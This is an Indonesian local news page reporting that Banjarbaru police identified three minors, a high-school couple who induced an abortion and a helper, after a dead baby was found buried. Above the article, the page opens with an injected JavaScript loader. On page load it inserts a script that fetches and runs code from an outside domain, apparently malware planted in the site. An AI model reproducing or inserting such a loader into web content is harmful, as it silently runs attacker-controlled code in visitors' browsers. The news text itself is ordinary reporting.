(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Polres Banjarbaru akhirnya berhasil mengungkap sosok pembuang bayi tidak berdosa yang terjadi di jalan Peramuan, Awang Baruh RT 11 RW 003 Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota Banjarbaru.
Wakapolres Banjarbaru, Kompol Andik Eko Siswanto, saat memimpin pers rilis, pada Kamis (1/8) siang, mengatakan pelaku berjumlah 3 orang dimana dua diantaranya merupakan pasangan yang dimabuk asmara.
“Kita sudah lakukan pemeriksaan terhadap 3 orang tersangka masih di bawah umur. Sebut saja pasangan ini Bunga dan Kumbang. Bayi ini hasil dari hubungan mereka dan keduanya menggugurkan kandungannya secara sengaja atau aborsi,” kata Kompol Andik.
Sedangkan dijelaskan juga satu tersangka lainnya berperan membantu mengantarkan ke tempat penguburan bayi malang tersebut.
Sebelumnya, Kapolsek Banjarbaru Barat, Kompol Syaiful Bob mengatakan awalnya petugas menerima informasi dari masyarakat ada ditemukannya seorang bayi berjenis kelamin laki- laki yang sudah dalam keadaan meninggal dunia, pada Sabtu (27/7) sekitar pukul 16.30 Wita.
Baca Juga : Bayi Laki-laki Ditemukan Tak Bernyawa, Dua Pria Dicurigai
Memang saat itu dari keterangan saksi, pihak kepolisian menerima informasi adanya 2 orang tidak dikenal berada di TKP saat itu.
“Dari pengakuan saksi bernama Ayan (61), sekitar pukul 12.00 Wita, saat dia bertani di sekitar TKP melihat ada 2 orang laki-laki menggunakan dua buah sepeda motor sedang berdiri di sekitar TKP. Tidak beberapa lama kemudian 2 orang itu langsung pergi meninggalkan tempat tersebut,†kata Kapolsek.
Dari hasil pemeriksaan pihak Kepolisian, ungkap Wakapolres Banjarbaru, diketahui kedua tersangka Bunga dan Kumbang masih bersekolah dijenjang SMA dan bertempat tinggal di Banjarbaru.
“Mereka sudah berhubungan sebanyak 4 kali. Karena hamil, mereka takut dan melakukan aborsi dengan meminum obat-obatan. Bayi laki-laki tersebut meninggal dunia di usia 7 bulan saat keluar dari perut,” lanjutnya.
Atas tindakan 3 tersangka yang masih dibawah umur ini, Pihak Kepolisian menyangkakan pasal Pasal 77 huruf A tentang perlindugan anak dengan ancaman 10 tahun penjara. (Rico)
KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
This website uses cookies.